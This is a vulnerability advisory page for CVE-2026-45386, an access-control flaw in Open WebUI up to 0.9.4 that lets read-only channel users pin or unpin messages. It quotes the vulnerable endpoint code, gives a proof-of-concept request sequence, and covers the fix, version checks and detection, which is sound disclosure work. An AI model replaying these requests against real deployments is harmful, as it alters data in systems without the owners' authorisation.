CVE-2026-45386: Open WebUI has an IDOR vulnerability in the pin_channel_message API endpoint
In Open WebUI 0.9.4 and earlier, the pin_channel_message endpoint lets users with read-only access to a standard channel pin or unpin any message. It checks read permission where it should check write. Fixed in 0.9.5.
Published May 14, 2026 · Updated May 15, 2026 · Analysis Oct 27, 2026
What an attacker can do
Pinning changes is_pinned, pinned_by and pinned_at on a message, so it is a write. In channels.py, POST /api/v1/channels/{id}/messages/{message_id}/pin handles standard channels by calling channel_has_access with permission='read'. The AccessGrants table separates read from write grants, but this check ignores the difference.
The PoC has an admin create a standard channel that grants user test1 read only, and post an announcement. test1 then sends {"is_pinned": true} to the pin endpoint. The response shows the message pinned, with pinned_by set to test1's id. Unpin works the same way.
The attacker needs an account with read access to the channel. The effect is limited to changing which messages are highlighted, so noise can bury a real notice or a misleading message can be elevated. The CVSS vector reflects low integrity impact only (CWE-639, NVD 4.3).
Who is affected
pip package open-webui, up to and including 0.9.4. Check:
pip show open-webuiThe flaw applies to standard channels with read-only grants. Group and DM channels use a membership check instead. Channels must be enabled by an admin.
open-webui
- Ecosystem
- PyPI
- Affected
- <= 0.9.4
- Fixed in
- 0.9.5
- Check
pip show open-webui
How to fix it
Upgrade to open-webui 0.9.5:
pip install -U open-webuiThe recommended change in the advisory is to require write instead of read in the pin endpoint. No workaround is listed.
How to tell if you were hit
Query messages in standard channels for is_pinned values where pinned_by is a user who holds only a read grant. Check access logs for POST requests to the pin endpoint from such users.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message.
Details
https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218
@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse])
async def pin_channel_message(
request: Request,
id: str,
message_id: str,
form_data: PinMessageForm,
user=Depends(get_verified_user),
db: Session = Depends(get_session),
):
check_channels_access(request)
channel = Channels.get_channel_by_id(id, db=db)
if not channel:
raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)
if channel.type in ['group', 'dm']:
if not Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())The channel_has_access function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the AccessGrants table:
def channel_has_access(
user_id: str,
channel: ChannelModel,
permission: str = 'read', # 'read' or 'write'
strict: bool = True,
db: Optional[Session] = None,
) -> bool:
if AccessGrants.has_access(
user_id=user_id,
resource_type='channel',
resource_id=channel.id,
permission=permission,
db=db,
):
return True
# ...The AccessGrant table distinguishes between read and write permission levels.
PoC
admin creates Standard Channel with Read-Only Access for test1 :
POST /api/v1/channels/create
Authorization:
Content-Type: application/json
{
"name": "pin-test-standard",
"access_grants": [
{
"principal_type": "user",
"principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
"permission": "read"
}
]
}admin posts a Message in the Channel, and test1 has read permission only.
test1 attempts to Pin Message:
POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin
Authorization: Bearer <test1_token>
Content-Type: application/json
{
"is_pinned": true
}{
"id": "4797359b-aad5-4081-9617-e8ca58524a87",
"user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9",
"is_pinned": true,
"pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
"pinned_at": 1774716314908288719,
"content": "Admin announcement in standard channel - test1 should NOT be able to pin this"
}Successfully pinned admin's message. pinned_by records test1's user ID.
test1 (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks read permission, allowing read-only users to pin/unpin any message.
Impact
Read-only users can pin irrelevant messages, disrupting important information display in the channel .
Recommended Fix
Change the Pin endpoint's permission check from read to write .
Credited to kikayli, Classic298.
Questions
- Does this expose private message content?
No. It only changes the pinned state of messages the user can already read.
- Is it the same bug as CVE-2026-45385?
No. That one lets channel members edit others' messages in group and DM channels. This one affects pinning in standard channels. Both are fixed in 0.9.5.
- What version fixes CVE-2026-45386?
open-webui 0.9.5 fixes it. Versions up to 0.9.4 let read-only channel users pin and unpin messages they cannot write to.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
